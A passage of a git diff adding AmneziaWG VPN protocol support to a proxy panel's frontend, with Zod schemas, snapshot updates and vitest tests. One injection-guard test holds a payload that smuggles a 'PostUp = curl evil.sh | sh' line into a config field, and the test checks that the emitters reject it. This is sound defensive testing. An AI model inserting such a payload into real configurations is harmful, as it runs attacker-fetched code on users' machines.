@@ -590,6 +595,15 @@ export default function SubPage() {
tagColor="cyan"
/>
)}
+ {isAmneziawgLink && (
+
+ )}
);
})}
diff --git a/frontend/src/schemas/api/inbound.ts b/frontend/src/schemas/api/inbound.ts
index 78933cb71..d8a4669e1 100644
--- a/frontend/src/schemas/api/inbound.ts
+++ b/frontend/src/schemas/api/inbound.ts
@@ -7,7 +7,7 @@ import { NetworkSettingsSchema, StreamExtrasSchema } from '@/schemas/protocols/s
// Top-level inbound shape on the wire. Composes:
// - Per-protocol settings via the InboundSettingsSchema discriminated
-// union (10 protocols, tagged-wrapper {protocol, settings}).
+// union (11 protocols, tagged-wrapper {protocol, settings}).
// - StreamSettings as an intersection of the network DU (6 branches),
// security DU (3 branches), and the orthogonal extras (finalmask,
// sockopt, externalProxy). Zod 4 supports DU intersection — each
diff --git a/frontend/src/schemas/client.ts b/frontend/src/schemas/client.ts
index 349f539dd..c39014ad2 100644
--- a/frontend/src/schemas/client.ts
+++ b/frontend/src/schemas/client.ts
@@ -52,6 +52,7 @@ export const ClientRecordSchema = z
allowedIPs: z.string().optional(),
preSharedKey: z.string().optional(),
keepAlive: z.number().optional(),
+ forwardedPorts: z.string().optional(),
secret: z.string().optional(),
adTag: z.string().optional(),
createdAt: z.number().optional(),
@@ -59,6 +60,47 @@ export const ClientRecordSchema = z
})
.loose();
+// AmneziaWG's server block, used by the clients page to render a
+// downloadable per-client .conf without a second round trip. Unlike
+// WireGuard's flattened wgPublicKey/wgMtu/wgDns below, this stays a nested
+// object — AmneziaWG has many more fields (the obfuscation parameter set) and
+// buildAmneziaWGClientConfig (pages/clients/amneziawgConfig.ts) already
+// expects this exact nested shape. Mirrors the backend's
+// InboundOption.AwgServer (internal/web/service/inbound.go).
+export const AwgServerOptionSchema = z
+ .object({
+ publicKey: z.string().optional(),
+ mtu: z.number().optional(),
+ primaryDns: z.string().optional(),
+ secondaryDns: z.string().optional(),
+ jc: z.number().optional(),
+ jmin: z.number().optional(),
+ jmax: z.number().optional(),
+ s1: z.number().optional(),
+ s2: z.number().optional(),
+ s3: z.number().optional(),
+ s4: z.number().optional(),
+ h1: z.string().optional(),
+ h2: z.string().optional(),
+ h3: z.string().optional(),
+ h4: z.string().optional(),
+ i1: z.string().optional(),
+ i2: z.string().optional(),
+ i3: z.string().optional(),
+ i4: z.string().optional(),
+ i5: z.string().optional(),
+ headerProtectionKey: z.string().optional(),
+ contentPaddingAddition: z.string().optional(),
+ rekeyAfterTime: z.string().optional(),
+ rekeyTimeout: z.string().optional(),
+ rejectAfterTime: z.string().optional(),
+ keepaliveTimeout: z.string().optional(),
+ maxHandshakeAttempts: z.string().optional(),
+ randomTrailers: z.boolean().optional(),
+ disableCookies: z.boolean().optional(),
+ })
+ .loose();
+
export const InboundOptionSchema = z
.object({
id: z.number(),
@@ -71,6 +113,7 @@ export const InboundOptionSchema = z
wgPublicKey: z.string().optional(),
wgMtu: z.number().optional(),
wgDns: z.string().optional(),
+ awgServer: AwgServerOptionSchema.nullable().optional(),
mtprotoDomain: z.string().optional(),
// Hosting node id; absent/null for this panel's own inbounds (#4997).
nodeId: z.number().nullable().optional(),
@@ -137,10 +180,17 @@ export const ExternalLinkListSchema = z
.nullable()
.transform((v) => v ?? []);
+// tunnelAllowedIPs carries the real, per-inbound AllowedIPs value (keyed by
+// inbound id) for every WireGuard/AmneziaWG inbound this client is attached
+// to. ClientRecord's own allowedIPs is a single string and cannot represent
+// two different addresses when one identity holds both a WireGuard and an
+// AmneziaWG attachment at once -- this is what lets the edit form show each
+// protocol's real, distinct address instead of one ambiguous shared field.
export const ClientHydrateSchema = z.object({
client: ClientRecordSchema,
inboundIds: nullableNumberArray,
externalLinks: ExternalLinkListSchema.optional(),
+ tunnelAllowedIPs: z.record(z.number().int(), z.string()).optional(),
});
export const BulkAdjustResultSchema = z.object({
diff --git a/frontend/src/schemas/primitives/protocol.ts b/frontend/src/schemas/primitives/protocol.ts
index 35cc5c190..9a290de58 100644
--- a/frontend/src/schemas/primitives/protocol.ts
+++ b/frontend/src/schemas/primitives/protocol.ts
@@ -12,6 +12,7 @@ export const ProtocolSchema = z.enum([
'tunnel',
'tun',
'mtproto',
+ 'amneziawg',
]);
export type Protocol = z.infer;
@@ -33,4 +34,5 @@ export const Protocols = Object.freeze({
TUNNEL: 'tunnel',
TUN: 'tun',
MTPROTO: 'mtproto',
+ AMNEZIAWG: 'amneziawg',
});
diff --git a/frontend/src/schemas/protocols/inbound/amneziawg.ts b/frontend/src/schemas/protocols/inbound/amneziawg.ts
new file mode 100644
index 000000000..f9fe45892
--- /dev/null
+++ b/frontend/src/schemas/protocols/inbound/amneziawg.ts
@@ -0,0 +1,101 @@
+import { z } from 'zod';
+
+// AntD InputNumber emits null (not undefined) when the user clears it, and
+// the form store hands that null straight to safeParse on submit — a bare
+// .optional() would reject it and block the save.
+const optionalClearedInt = (schema: z.ZodNumber) =>
+ z.preprocess((v) => (v == null ? undefined : v), schema.optional());
+
+// Same null-absorbing preprocess for fields that keep a schema default:
+// clearing the InputNumber refills the default instead of blocking the save.
+const clearedToDefault = (schema: T) =>
+ z.preprocess((v) => (v == null ? undefined : v), schema);
+
+// An AmneziaWG client (multi-client model). Same key/address fields as
+// WireguardClientSchema — the panel's generic ClientRecord already has those
+// exact keys (privateKey/publicKey/preSharedKey/allowedIPs/keepAlive), so
+// bulk operations, the QR modal and subscriptions all work unmodified — plus
+// one AmneziaWG-only addition, forwardedPorts (WireGuard's Xray-native
+// inbound has no host-level iptables layer to hang per-client DNAT off of).
+// Keys are optional on the wire — the backend generates them when absent.
+export const AmneziawgClientSchema = z.object({
+ privateKey: z.string().optional(),
+ publicKey: z.string().optional(),
+ preSharedKey: z.string().optional(),
+ allowedIPs: z.array(z.string()).default([]),
+ keepAlive: optionalClearedInt(z.number().int().min(0)),
+ forwardedPorts: z.string().default(''),
+ email: z.string().min(1),
+ limitIp: z.number().int().min(0).default(0),
+ totalGB: z.number().int().min(0).default(0),
+ expiryTime: z.number().int().default(0),
+ enable: z.boolean().default(true),
+ tgId: z
+ .union([z.number(), z.string()])
+ .transform((v) => Number(v) || 0)
+ .default(0),
+ subId: z.string().default(''),
+ comment: z.string().default(''),
+ reset: z.number().int().min(0).default(0),
+ created_at: z.number().int().optional(),
+ updated_at: z.number().int().optional(),
+});
+export type AmneziawgClient = z.infer;
+
+// Server-wide AmneziaWG 3.1 obfuscation parameters and tunnel identity,
+// mirroring internal/amneziawg.ServerSettings on the Go side exactly (same
+// field names) — the listen port is not duplicated here, it's the inbound's
+// own port like every other protocol. H1-H4 blank falls back to the classic
+// 1/2/3/4 magic header on save; blank optional fields omit their feature
+// from the rendered config.
+export const AmneziawgServerSchema = z.object({
+ privateKey: z.string().optional(),
+ publicKey: z.string().optional(),
+ subnetIp: z.string().default('10.8.1.0'),
+ subnetCidr: clearedToDefault(z.number().int().min(1).max(32).default(24)),
+ mtu: optionalClearedInt(z.number().int().min(1)),
+ primaryDns: z.string().default('8.8.8.8'),
+ secondaryDns: z.string().default('8.8.4.4'),
+ externalInterface: z.string().default(''),
+ ipv6Enabled: z.boolean().default(false),
+ ipv6Subnet: z.string().default(''),
+ ipv6ExternalInterface: z.string().default(''),
+ // routeThroughXray is vestigial on the Go side (see ServerSettings' own
+ // doc comment) -- the embedded relay is always on, this field is read by
+ // nothing. Kept here anyway, with no corresponding form control, purely so
+ // z.object's default unknown-key stripping doesn't silently drop it from
+ // an existing stored settings blob on the next save.
+ routeThroughXray: z.boolean().default(false).optional(),
+ jc: clearedToDefault(z.number().int().min(0).default(5)),
+ jmin: clearedToDefault(z.number().int().min(0).default(10)),
+ jmax: clearedToDefault(z.number().int().min(0).default(50)),
+ s1: clearedToDefault(z.number().int().min(0).default(30)),
+ s2: clearedToDefault(z.number().int().min(0).default(45)),
+ s3: clearedToDefault(z.number().int().min(0).max(64).default(10)),
+ s4: clearedToDefault(z.number().int().min(0).max(32).default(5)),
+ h1: z.string().default(''),
+ h2: z.string().default(''),
+ h3: z.string().default(''),
+ h4: z.string().default(''),
+ i1: z.string().default(''),
+ i2: z.string().default(''),
+ i3: z.string().default(''),
+ i4: z.string().default(''),
+ i5: z.string().default(''),
+ headerProtectionKey: z.string().default(''),
+ contentPaddingAddition: z.string().default(''),
+ rekeyAfterTime: z.string().default(''),
+ rekeyTimeout: z.string().default(''),
+ rejectAfterTime: z.string().default(''),
+ keepaliveTimeout: z.string().default(''),
+ maxHandshakeAttempts: z.string().default(''),
+ randomTrailers: z.boolean().default(false),
+ disableCookies: z.boolean().default(false),
+});
+export type AmneziawgServer = z.infer;
+
+export const AmneziawgInboundSettingsSchema = z.object({
+ server: AmneziawgServerSchema,
+ clients: z.array(AmneziawgClientSchema).default([]),
+});
+export type AmneziawgInboundSettings = z.infer;
diff --git a/frontend/src/schemas/protocols/inbound/index.ts b/frontend/src/schemas/protocols/inbound/index.ts
index 2b3c86af8..d06783c3f 100644
--- a/frontend/src/schemas/protocols/inbound/index.ts
+++ b/frontend/src/schemas/protocols/inbound/index.ts
@@ -1,5 +1,6 @@
import { z } from 'zod';
+import { AmneziawgInboundSettingsSchema } from './amneziawg';
import { HttpInboundSettingsSchema } from './http';
import { HysteriaInboundSettingsSchema } from './hysteria';
import { MixedInboundSettingsSchema } from './mixed';
@@ -12,6 +13,7 @@ import { VlessInboundSettingsSchema } from './vless';
import { VmessInboundSettingsSchema } from './vmess';
import { WireguardInboundSettingsSchema } from './wireguard';
+export * from './amneziawg';
export * from './http';
export * from './hysteria';
export * from './mixed';
@@ -41,5 +43,6 @@ export const InboundSettingsSchema = z.discriminatedUnion('protocol', [
z.object({ protocol: z.literal('tunnel'), settings: TunnelInboundSettingsSchema }),
z.object({ protocol: z.literal('tun'), settings: TunInboundSettingsSchema }),
z.object({ protocol: z.literal('mtproto'), settings: MtprotoInboundSettingsSchema }),
+ z.object({ protocol: z.literal('amneziawg'), settings: AmneziawgInboundSettingsSchema }),
]);
export type InboundSettings = z.infer;
diff --git a/frontend/src/schemas/protocols/inbound/wireguard.ts b/frontend/src/schemas/protocols/inbound/wireguard.ts
index 5256c5374..3d2f113be 100644
--- a/frontend/src/schemas/protocols/inbound/wireguard.ts
+++ b/frontend/src/schemas/protocols/inbound/wireguard.ts
@@ -69,5 +69,12 @@ export const WireguardInboundSettingsSchema = z.object({
clients: z.array(WireguardClientSchema).default([]),
noKernelTun: z.boolean().default(false),
domainStrategy: WireguardDomainStrategySchema.optional(),
+ // Admin-configurable base subnet new clients are auto-allocated from —
+ // mirrors AmneziaWG's settings.server.subnetIp/subnetCidr. Optional and
+ // left blank by default: an inbound that never sets this keeps the
+ // pre-existing behavior (infer from existing clients' own addresses, else
+ // fall back to 10.0.0.0/24 server-side).
+ subnetIp: z.string().default(''),
+ subnetCidr: optionalClearedInt(z.number().int().min(1).max(32)),
});
export type WireguardInboundSettings = z.infer;
diff --git a/frontend/src/test/__snapshots__/inbound-defaults.test.ts.snap b/frontend/src/test/__snapshots__/inbound-defaults.test.ts.snap
index 9766a4f5b..4e36cb1e4 100644
--- a/frontend/src/test/__snapshots__/inbound-defaults.test.ts.snap
+++ b/frontend/src/test/__snapshots__/inbound-defaults.test.ts.snap
@@ -54,6 +54,8 @@ exports[`createDefault*InboundSettings factories > wireguard 1`] = `
"noKernelTun": false,
"peers": [],
"secretKey": "QGVlb2dXc1ZTWGw0ZXBzZndsWmtMaUM5MUlNYjBHWFdYbz0=",
+ "subnetCidr": 24,
+ "subnetIp": "10.0.0.0",
}
`;
diff --git a/frontend/src/test/__snapshots__/inbound-full.test.ts.snap b/frontend/src/test/__snapshots__/inbound-full.test.ts.snap
index 8f2cd9538..453873ed0 100644
--- a/frontend/src/test/__snapshots__/inbound-full.test.ts.snap
+++ b/frontend/src/test/__snapshots__/inbound-full.test.ts.snap
@@ -622,6 +622,7 @@ exports[`InboundSchema (full) fixtures > parses wireguard-server byte-stably 1`]
},
],
"secretKey": "iJ2cBkrSGqRwIfYIDIxk7hr5RXfdR93MfJUL7yqkkH8=",
+ "subnetIp": "",
},
"shareAddr": "",
"shareAddrStrategy": "node",
diff --git a/frontend/src/test/__snapshots__/protocols.test.ts.snap b/frontend/src/test/__snapshots__/protocols.test.ts.snap
index c2eddb307..7ffc28223 100644
--- a/frontend/src/test/__snapshots__/protocols.test.ts.snap
+++ b/frontend/src/test/__snapshots__/protocols.test.ts.snap
@@ -248,6 +248,7 @@ exports[`InboundSettingsSchema fixtures > parses wireguard-basic byte-stably 1`]
},
],
"secretKey": "QGVlb2dXc1ZTWGw0ZXBzZndsWmtMaUM5MUlNYjBHWFdYbz0=",
+ "subnetIp": "",
},
}
`;
diff --git a/frontend/src/test/amneziawg-conf-injection.test.ts b/frontend/src/test/amneziawg-conf-injection.test.ts
new file mode 100644
index 000000000..231937482
--- /dev/null
+++ b/frontend/src/test/amneziawg-conf-injection.test.ts
@@ -0,0 +1,92 @@
+import { describe, expect, it } from 'vitest';
+
+import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
+import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
+import type { ClientRecord, InboundOption } from '@/hooks/useClients';
+
+// A newline in a field that lands unescaped in [Interface] would inject a
+// config line (e.g. a rogue PostUp); every emitter must refuse to render it.
+const INJECTED = 'x\nPostUp = curl evil.sh | sh';
+
+function settingsWith(server: Record, client: Record) {
+ return {
+ server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, ...server },
+ clients: [
+ { email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'], ...client },
+ ],
+ } as unknown as AmneziawgInboundSettings;
+}
+
+describe('AmneziaWG .conf newline-injection guard', () => {
+ it('genAmneziaWGConfig refuses injected fields and renders clean ones', () => {
+ const base = { address: 'awg.example.test', port: 51820, peerIndex: 0 };
+ expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: 'ok', ...base })).toContain(
+ 'PrivateKey = clientPrivKey==',
+ );
+ expect(
+ genAmneziaWGConfig({
+ settings: settingsWith({}, { privateKey: INJECTED }),
+ remark: 'ok',
+ ...base,
+ }),
+ ).toBe('');
+ expect(
+ genAmneziaWGConfig({
+ settings: settingsWith({ primaryDns: INJECTED }, {}),
+ remark: 'ok',
+ ...base,
+ }),
+ ).toBe('');
+ expect(
+ genAmneziaWGConfig({
+ settings: settingsWith({ secondaryDns: INJECTED }, {}),
+ remark: 'ok',
+ ...base,
+ }),
+ ).toBe('');
+ expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: INJECTED, ...base })).toBe(
+ '',
+ );
+ });
+
+ it('buildAmneziaWGClientConfig refuses injected fields', () => {
+ const inbound = (server: Record) =>
+ ({
+ id: 1,
+ tag: 'awg-1',
+ remark: 'awg',
+ port: 51820,
+ protocol: 'amneziawg',
+ awgServer: {
+ publicKey: 'serverPubKey==',
+ jc: 4,
+ jmin: 40,
+ jmax: 100,
+ s1: 30,
+ s2: 90,
+ ...server,
+ },
+ }) as unknown as InboundOption;
+ const client = (extra: Record) =>
+ ({
+ email: 'peer-1',
+ privateKey: 'clientPrivKey==',
+ allowedIPs: '10.8.1.2/32',
+ ...extra,
+ }) as unknown as ClientRecord;
+
+ expect(buildAmneziaWGClientConfig(client({}), inbound({}), 'awg.example.test')).toContain(
+ 'PrivateKey = clientPrivKey==',
+ );
+ expect(
+ buildAmneziaWGClientConfig(client({ privateKey: INJECTED }), inbound({}), 'awg.example.test'),
+ ).toBe('');
+ expect(
+ buildAmneziaWGClientConfig(client({}), inbound({ primaryDns: INJECTED }), 'awg.example.test'),
+ ).toBe('');
+ expect(
+ buildAmneziaWGClientConfig(client({ comment: INJECTED }), inbound({}), 'awg.example.test'),
+ ).toBe('');
+ });
+});
diff --git a/frontend/src/test/amneziawg-conf-parity.test.ts b/frontend/src/test/amneziawg-conf-parity.test.ts
new file mode 100644
index 000000000..ed350e73b
--- /dev/null
+++ b/frontend/src/test/amneziawg-conf-parity.test.ts
@@ -0,0 +1,115 @@
+import { describe, it, expect } from 'vitest';
+
+import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
+import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
+import type { ClientRecord, InboundOption } from '@/hooks/useClients';
+
+// wg-quick(8)'s own peer order. The panel emits an AmneziaWG .conf from three
+// independent places (this file's two, plus amneziaWGConfigText in Go), and a
+// user comparing a subscription link against a downloaded .conf sees any drift
+// between them immediately.
+const PEER_FIELD_ORDER = [
+ 'PublicKey',
+ 'PresharedKey',
+ 'AllowedIPs',
+ 'Endpoint',
+ 'PersistentKeepalive',
+];
+
+function peerFields(conf: string): string[] {
+ const peerBlock = conf.slice(conf.indexOf('[Peer]'));
+ return peerBlock
+ .split('\n')
+ .map((line) => line.split('=')[0].trim())
+ .filter((key) => PEER_FIELD_ORDER.includes(key));
+}
+
+describe('AmneziaWG .conf emitters agree on the peer block', () => {
+ const settings = {
+ server: {
+ publicKey: 'serverPubKey==',
+ primaryDns: '8.8.8.8',
+ secondaryDns: '',
+ mtu: 1420,
+ jc: 4,
+ jmin: 40,
+ jmax: 100,
+ s1: 30,
+ s2: 90,
+ s3: 0,
+ s4: 0,
+ h1: '',
+ h2: '',
+ h3: '',
+ h4: '',
+ },
+ clients: [
+ {
+ email: 'peer-1',
+ privateKey: 'clientPrivKey==',
+ allowedIPs: ['10.8.1.2/32'],
+ preSharedKey: 'psk==',
+ keepAlive: 25,
+ },
+ ],
+ } as unknown as AmneziawgInboundSettings;
+
+ const linkConf = genAmneziaWGConfig({
+ settings,
+ address: 'awg.example.test',
+ port: 51820,
+ remark: 'awg-peer-1',
+ peerIndex: 0,
+ });
+
+ const client = {
+ email: 'peer-1',
+ privateKey: 'clientPrivKey==',
+ allowedIPs: '10.8.1.2/32',
+ preSharedKey: 'psk==',
+ keepAlive: 25,
+ } as unknown as ClientRecord;
+ const inbound = {
+ id: 1,
+ tag: 'awg-1',
+ remark: 'awg',
+ port: 51820,
+ protocol: 'amneziawg',
+ awgServer: settings.server,
+ } as unknown as InboundOption;
+ const clientsPageConf = buildAmneziaWGClientConfig(client, inbound, 'awg.example.test');
+
+ it('the share-link emitter uses the wg-quick peer order', () => {
+ expect(peerFields(linkConf)).toEqual(PEER_FIELD_ORDER);
+ });
+
+ it('the clients-page emitter uses the same order', () => {
+ expect(peerFields(clientsPageConf)).toEqual(PEER_FIELD_ORDER);
+ });
+
+ it('neither emitter leaves a trailing newline, so both end on their last set field', () => {
+ expect(linkConf.endsWith('\n')).toBe(false);
+ expect(clientsPageConf.endsWith('\n')).toBe(false);
+ });
+
+ it('an unset preSharedKey drops the line in both, without disturbing the rest', () => {
+ const noPsk = {
+ ...settings,
+ clients: [{ ...settings.clients[0], preSharedKey: '' }],
+ } as AmneziawgInboundSettings;
+ const withoutPsk = genAmneziaWGConfig({
+ settings: noPsk,
+ address: 'awg.example.test',
+ port: 51820,
+ remark: 'awg-peer-1',
+ peerIndex: 0,
+ });
+ const clientWithoutPsk = { ...client, preSharedKey: '' } as unknown as ClientRecord;
+ const want = PEER_FIELD_ORDER.filter((f) => f !== 'PresharedKey');
+ expect(peerFields(withoutPsk)).toEqual(want);
+ expect(
+ peerFields(buildAmneziaWGClientConfig(clientWithoutPsk, inbound, 'awg.example.test')),
+ ).toEqual(want);
+ });
+});
diff --git a/frontend/src/test/amneziawg-obfuscation.test.ts b/frontend/src/test/amneziawg-obfuscation.test.ts
new file mode 100644
index 000000000..e62f617af
--- /dev/null
+++ b/frontend/src/test/amneziawg-obfuscation.test.ts
@@ -0,0 +1,90 @@
+import { describe, expect, it } from 'vitest';
+
+import { generateAwgObfuscation } from '@/lib/xray/amneziawg-obfuscation';
+import { AmneziawgServerSchema } from '@/schemas/protocols/inbound/amneziawg';
+import { ServerSettingsSchema } from '@/generated/zod';
+
+/*
+ * Parses "lo-hi" and asserts min <= lo <= hi <= max; mirrors the bounds the
+ * Go generator's own test pins (internal/amneziawg/params_test.go), so the
+ * two generators cannot drift apart silently.
+ */
+function expectRangeWithin(value: string, min: number, max: number): [number, number] {
+ const m = /^(\d+)-(\d+)$/.exec(value);
+ expect(m, `${value} is not a lo-hi range`).not.toBeNull();
+ const lo = Number(m![1]);
+ const hi = Number(m![2]);
+ expect(lo).toBeGreaterThanOrEqual(min);
+ expect(hi).toBeLessThanOrEqual(max);
+ expect(lo).toBeLessThanOrEqual(hi);
+ return [lo, hi];
+}
+
+describe('generateAwgObfuscation', () => {
+ it('stays inside the Go generator ranges and invariants', () => {
+ for (let i = 0; i < 200; i++) {
+ const o = generateAwgObfuscation();
+
+ expect(o.jc).toBeGreaterThanOrEqual(3);
+ expect(o.jc).toBeLessThanOrEqual(6);
+ expect(o.jmin).toBeGreaterThanOrEqual(40);
+ expect(o.jmin).toBeLessThanOrEqual(89);
+ expect(o.jmax - o.jmin).toBeGreaterThanOrEqual(50);
+ expect(o.jmax - o.jmin).toBeLessThanOrEqual(250);
+ expect(o.s1 + 56).not.toBe(o.s2);
+ expect(o.s3).toBeGreaterThanOrEqual(12);
+ expect(o.s3).toBeLessThanOrEqual(55);
+ expect(o.s4).toBeGreaterThanOrEqual(12);
+ expect(o.s4).toBeLessThanOrEqual(27);
+
+ const hBounds = [o.h1, o.h2, o.h3, o.h4].map((h) => expectRangeWithin(h, 5, 2147483647));
+ for (let j = 1; j < 4; j++) {
+ expect(hBounds[j][0], 'H ranges must not overlap').toBeGreaterThan(hBounds[j - 1][1]);
+ }
+
+ expect(o.i1).toMatch(/^$/);
+ expect(o.i2).toBe('');
+ expect(o.i5).toBe('');
+
+ const key = atob(o.headerProtectionKey);
+ expect(key.length, 'headerProtectionKey must decode to 32 bytes').toBe(32);
+
+ expectRangeWithin(o.contentPaddingAddition, 8, 64);
+ const [, rekeyHi] = expectRangeWithin(o.rekeyAfterTime, 100, 160);
+ const [rejectLo] = expectRangeWithin(o.rejectAfterTime, 130, 310);
+ expect(
+ rejectLo,
+ 'reject window must start >= 30s above the rekey window',
+ ).toBeGreaterThanOrEqual(rekeyHi + 30);
+ expectRangeWithin(o.rekeyTimeout, 3, 10);
+ expectRangeWithin(o.keepaliveTimeout, 8, 20);
+ expectRangeWithin(o.maxHandshakeAttempts, 15, 50);
+
+ expect(o.randomTrailers).toBe(true);
+ expect(o.disableCookies).toBe(true);
+ }
+ });
+
+ it('produces values the hand-written schema accepts unchanged', () => {
+ const parsed = AmneziawgServerSchema.parse({
+ ...generateAwgObfuscation(),
+ privateKey: 'p',
+ publicKey: 'P',
+ });
+ expect(parsed.headerProtectionKey).not.toBe('');
+ });
+});
+
+/*
+ * Drift guard for the three-way mirror: the hand-written AmneziawgServerSchema,
+ * the Go ServerSettings struct, and the openapigen output must agree on the
+ * field set. Comparing hand-written vs generated keys catches a field added on
+ * one side but forgotten on the other before it silently drops from configs.
+ */
+describe('AmneziawgServerSchema parity with generated ServerSettings', () => {
+ it('declares exactly the generated key set', () => {
+ const handwritten = Object.keys(AmneziawgServerSchema.shape).sort();
+ const generated = Object.keys(ServerSettingsSchema.shape).sort();
+ expect(handwritten).toEqual(generated);
+ });
+});
diff --git a/frontend/src/test/amneziawg-schema-cleared.test.ts b/frontend/src/test/amneziawg-schema-cleared.test.ts
new file mode 100644
index 000000000..519112c40
--- /dev/null
+++ b/frontend/src/test/amneziawg-schema-cleared.test.ts
@@ -0,0 +1,34 @@
+import { describe, expect, it } from 'vitest';
+
+import { AmneziawgServerSchema } from '@/schemas/protocols/inbound/amneziawg';
+
+// AntD InputNumber emits null when cleared; a cleared numeric field must
+// refill its schema default instead of failing validation and blocking the save.
+describe('AmneziawgServerSchema cleared numeric fields', () => {
+ it('accepts null for every InputNumber-backed field and refills the default', () => {
+ const parsed = AmneziawgServerSchema.parse({
+ subnetCidr: null,
+ jc: null,
+ jmin: null,
+ jmax: null,
+ s1: null,
+ s2: null,
+ s3: null,
+ s4: null,
+ });
+ expect(parsed.subnetCidr).toBe(24);
+ expect(parsed.jc).toBe(5);
+ expect(parsed.jmin).toBe(10);
+ expect(parsed.jmax).toBe(50);
+ expect(parsed.s1).toBe(30);
+ expect(parsed.s2).toBe(45);
+ expect(parsed.s3).toBe(10);
+ expect(parsed.s4).toBe(5);
+ });
+
+ it('keeps absent-key defaults unchanged', () => {
+ const parsed = AmneziawgServerSchema.parse({});
+ expect(parsed.subnetCidr).toBe(24);
+ expect(parsed.jc).toBe(5);
+ });
+});
diff --git a/frontend/src/test/client-tunnel-allowed-ips.test.tsx b/frontend/src/test/client-tunnel-allowed-ips.test.tsx
new file mode 100644
index 000000000..ea92f5425
--- /dev/null
+++ b/frontend/src/test/client-tunnel-allowed-ips.test.tsx
@@ -0,0 +1,72 @@
+import { describe, it, expect } from 'vitest';
+
+import {
+ parseAllowedIPsList,
+ resolveTunnelAllowedIPsByInbound,
+} from '@/pages/clients/ClientFormModal';
+
+describe('parseAllowedIPsList', () => {
+ it('splits, trims, and drops empty entries', () => {
+ expect(parseAllowedIPsList(' 10.0.0.2/32 , 10.0.0.3/32,')).toEqual([
+ '10.0.0.2/32',
+ '10.0.0.3/32',
+ ]);
+ });
+
+ it('returns an empty array for a blank string', () => {
+ expect(parseAllowedIPsList('')).toEqual([]);
+ });
+});
+
+describe('resolveTunnelAllowedIPsByInbound', () => {
+ // Regression coverage for the bug this whole feature exists to fix: a
+ // client attached to both a WireGuard and an AmneziaWG inbound must get
+ // each protocol's own address routed to its own inbound id, never the
+ // other's -- a single shared field can't represent two different
+ // addresses, which is exactly what confused wg's 10.0.0.2/32 with awg's
+ // 10.8.1.0/24 subnet in the real production bug report.
+ it('maps each protocol field to its own attached inbound id', () => {
+ const wireguardIds = new Set([7]);
+ const amneziawgIds = new Set([10]);
+ const result = resolveTunnelAllowedIPsByInbound(
+ [7, 10],
+ wireguardIds,
+ amneziawgIds,
+ ['10.0.0.2/32'],
+ ['10.8.1.21/32'],
+ );
+ expect(result).toEqual({ 7: ['10.0.0.2/32'], 10: ['10.8.1.21/32'] });
+ });
+
+ it('omits a protocol entirely when its inbound is not among the attached ids', () => {
+ const wireguardIds = new Set([7]);
+ const amneziawgIds = new Set([10]);
+ const result = resolveTunnelAllowedIPsByInbound(
+ [7],
+ wireguardIds,
+ amneziawgIds,
+ ['10.0.0.2/32'],
+ ['10.8.1.21/32'],
+ );
+ expect(result).toEqual({ 7: ['10.0.0.2/32'] });
+ expect(result).not.toHaveProperty('10');
+ });
+
+ it('returns an empty object when neither protocol is attached', () => {
+ const result = resolveTunnelAllowedIPsByInbound([3], new Set([7]), new Set([10]), ['x'], ['y']);
+ expect(result).toEqual({});
+ });
+
+ it('picks the first matching id when multiple inbounds of the same protocol are attached', () => {
+ const wireguardIds = new Set([7, 8]);
+ const amneziawgIds = new Set([10]);
+ const result = resolveTunnelAllowedIPsByInbound(
+ [8, 7, 10],
+ wireguardIds,
+ amneziawgIds,
+ ['10.0.0.2/32'],
+ ['10.8.1.21/32'],
+ );
+ expect(result).toEqual({ 8: ['10.0.0.2/32'], 10: ['10.8.1.21/32'] });
+ });
+});
diff --git a/frontend/src/test/inbound-link.test.ts b/frontend/src/test/inbound-link.test.ts
index 1107caaf6..b39728a7e 100644
--- a/frontend/src/test/inbound-link.test.ts
+++ b/frontend/src/test/inbound-link.test.ts
@@ -2,6 +2,9 @@
import { describe, expect, it } from 'vitest';
import {
+ amneziawgConfigFromLink,
+ genAmneziaWGConfig,
+ genAmneziaWGLink,
genHysteriaLink,
genInboundLinks,
genShadowsocksLink,
@@ -15,8 +18,17 @@ import {
resolveAddr,
} from '@/lib/xray/inbound-link';
import { InboundSchema } from '@/schemas/api/inbound';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
import type { WireguardInboundSettings } from '@/schemas/protocols/inbound/wireguard';
+// reverse of inbound-link.ts's own toBase64Url, for asserting on the
+// decoded vpn:// payload without depending on that helper being exported.
+function fromBase64Url(value: string): string {
+ const b64 = value.replace(/-/g, '+').replace(/_/g, '/');
+ const padded = b64 + '='.repeat((4 - (b64.length % 4)) % 4);
+ return atob(padded);
+}
+
// Snapshot baseline for the share-link generators. Snapshots were locked
// at the close of the legacy class migration — at that point each
// generator was verified byte-equal to the corresponding legacy Inbound
@@ -357,6 +369,184 @@ describe('genWireguardLink + genWireguardConfig multi allowedIPs', () => {
});
});
+// Real AmneziaVPN app's import path (confirmed by reading its own source)
+// base64url-decodes a vpn:// link, best-effort decompresses it (falling back
+// to the raw bytes for plain text, which is never qCompress-framed), then
+// parses the result as a flat "Key = Value" bag -- so genAmneziaWGLink just
+// needs to wrap genAmneziaWGConfig's already-correct .conf text.
+describe('genAmneziaWGLink vpn:// scheme', () => {
+ const settings = {
+ server: {
+ publicKey: 'serverPubKey==',
+ mtu: 1420,
+ primaryDns: '8.8.8.8',
+ secondaryDns: '8.8.4.4',
+ jc: 5,
+ jmin: 10,
+ jmax: 50,
+ s1: 30,
+ s2: 45,
+ s3: 10,
+ s4: 5,
+ h1: '',
+ h2: '',
+ h3: '',
+ h4: '',
+ i1: '',
+ },
+ clients: [
+ {
+ email: 'peer-1',
+ privateKey: 'clientPrivKey==',
+ allowedIPs: ['10.8.1.2/32'],
+ keepAlive: 25,
+ },
+ ],
+ } as unknown as AmneziawgInboundSettings;
+
+ const input = {
+ settings,
+ address: 'awg.example.test',
+ port: 51820,
+ remark: 'awg-peer-1',
+ peerIndex: 0,
+ };
+
+ it('wraps the .conf text as a base64url-encoded vpn:// link, byte-identical to genAmneziaWGConfig', () => {
